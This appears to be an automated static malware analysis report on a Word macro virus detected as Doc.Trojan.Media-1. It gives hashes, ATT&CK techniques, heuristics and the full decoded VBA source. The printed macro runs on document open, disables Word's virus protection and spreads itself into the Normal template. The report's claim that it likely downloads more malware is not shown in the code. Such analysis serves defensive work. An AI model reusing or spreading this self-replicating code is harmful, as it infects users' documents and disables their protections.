Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c503d3af3bfc629f…

MALICIOUS

Office (OLE)

33.5 KB Created: 2000-12-14 17:35:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 128877c6ce66fb433fb6832e1303c8de SHA-1: a6eb6313040239125c7d84973692813bd8ff3b1a SHA-256: c503d3af3bfc629f5234a27b0c705062937f404aea3b32e0f14964e9f5631e85
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains VBA macros, specifically a Document_Open macro, which is a common technique for initial execution. The macro attempts to copy itself to the Normal template and also includes a conditional message box. The presence of the 'Doc.Trojan.Media-1' ClamAV detection strongly indicates malicious intent, likely involving the download of additional malware.

Heuristics 3

  • ClamAV: Doc.Trojan.Media-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Media-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 929 bytes
SHA-256: 5a11839b7cc027c34bdad41caaf88f68a920d3fb0c652f42a38a349466afbe2f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub document_open()
Options.VirusProtection = False
Options.SaveNormalPrompt = False

Set Target = ActiveDocument.VBProject.VBComponents(1).CodeModule
If Target.countoflines = 0 Then Target.addfromstring ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents(1).CodeModule.countoflines)

Set Target = NormalTemplate.VBProject.VBComponents(1).CodeModule
If Target.countoflines = 0 Then Target.addfromstring ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, ThisDocument.VBProject.VBComponents(1).CodeModule.countoflines)

If Int(Rnd * 25) = 6 Then MsgBox "Dat mediatheekmens SUCKS!!!"
End Sub